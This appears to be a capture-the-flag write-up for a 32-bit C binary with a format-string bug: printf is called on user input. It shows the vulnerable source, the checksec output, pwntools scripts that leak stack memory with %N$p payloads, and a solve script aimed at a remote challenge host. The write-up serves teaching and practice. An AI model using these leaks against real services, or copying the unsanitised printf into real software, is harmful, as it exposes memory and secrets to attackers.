Neural Pattern Analysis
#format-string#with-explanation
Contents
Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Enter neural pattern for analysis >> ");
scanf("%127s", story);
printf("Pattern decoded as - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
Exploitation Steps
Analysis
Another format string bug challenge. But this time the flag is already in the memory. Lets checksec it first:
$checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Holy moly, the binary basically has ZERO meaningful protection.
You could:
- Simpily leak the flag directly from memory
- Leak the libc address and call system(“/bin/sh”)
- Write your own shellcode and return to it
This isn’t just a CTF challenge, this is literally a hacker’s wet dream.
Here I gonna show you the intended solution.
Leak Everything on the Stack
We use a script to brute-force print stack values using %p format specifiers
def print_stack(n):
context.log_level = "ERROR"
leak = ""
for i in range(n//10):
r = conn()
payload = b''
for j in range(i*10+1,i*10+11):
payload += f"%{j}$p|".encode("ascii")
payload += b'*'
r.sendlineafter(b'>>', payload)
r.recvuntil(b'Pattern decoded as - \n')
leak += r.recvuntil(b'*', drop=True).decode("ascii")
r.clean()
r.close()
context.log_level = "INFO"
leak = leak.split("|")
for i in range(len(leak)-1):
print(f"{i+1:>3}: {leak[i]}")
The output of print_stack(50) is shown below.
1: 0xff8de1d0
2: 0xffffffff
3: 0xf7ced8dc
4: 0x70243125
5: 0x2432257c
6: 0x33257c70
7: 0x257c7024
8: 0x7c702434
9: 0x70243525
10: 0x2436257c
11: 0x31257c70
12: 0x7c702436
13: 0x24373125
14: 0x31257c70
15: 0x7c702438
16: 0x24393125
17: 0x32257c70
18: 0x7c702430
19: 0xf7f6002a
20: 0xff96dc90
21: 0xf7f09c44
22: 0xf7ec76b0
23: 0x1
24: 0x1
25: (nil)
26: 0xf7ec76b0
27: 0x1
28: 0xf7f08fec
29: (nil)
30: 0x8048300
31: 0x804c028
32: 0x50
33: 0x8048488
34: 0x8048300
35: 0x804c00c
36: 0x67616c66
37: 0x6572547b
38: 0x7d65
39: 0xf7e07256
40: 0xf7d0952c
41: 0xf7e9ae0c
42: (nil)
43: 0x804bf04
44: 0xffa4ac18
45: 0xf7f02fb0
46: (nil)
47: 0xe2a11e00
48: 0x3e8
49: 0xf7e9ae0c
50: (nil)
Make some modification to the script
As a lazy person I prefer using script to convert the flag from ascii looking numbers to actual string. So I made some modification to the original code:
def find_flag(n):
context.log_level = "ERROR"
leak = ""
for i in range(n//10):
r = conn()
payload = b''
for j in range(i*10+1,i*10+11):
payload += f"%{j}$p|".encode("ascii")
payload += b'*'
r.sendlineafter(b'>>', payload)
r.recvuntil(b'Pattern decoded as - \n')
leak += r.recvuntil(b'*', drop=True).decode("ascii")
r.clean()
r.close()
context.log_level = "INFO"
leak = leak.split("|")
flag = ''
for i in range(len(leak)-1):
try:
l = p32(int(leak[i],16)).decode("ascii")
except:
l = ''
flag += l
try:
flag = flag[flag.index("flag") : flag.index("}")+1]
except:
log.failure("No Flag, n need to be larger, or change the flag header")
return ""
return flag
This function just simpily returns the flag.
Solution
#!/usr/bin/env python3
from pwn import *
import time
elf = ELF("./neural_patched")
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def conn():
if args.REMOTE:
r = remote("34.130.180.230", 6833)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def find_flag(n):
context.log_level = "ERROR"
leak = ""
for i in range(n//10):
r = conn()
payload = b''
for j in range(i*10+1,i*10+11):
payload += f"%{j}$p|".encode("ascii")
payload += b'*'
r.sendlineafter(b'>>', payload)
r.recvuntil(b'Pattern decoded as - \n')
leak += r.recvuntil(b'*', drop=True).decode("ascii")
r.clean()
r.close()
context.log_level = "INFO"
leak = leak.split("|")
flag = ''
for i in range(len(leak)-1):
try:
l = p32(int(leak[i],16)).decode("ascii")
except:
l = ''
flag += l
try:
flag = flag[flag.index("flag") : flag.index("}")+1]
except:
log.failure("No Flag, n need to be larger, or change the flag header")
return ""
return flag
def main():
print_stack(50)
flag = find_flag(50)
print()
print(flag)
print()
if __name__ == "__main__":
main()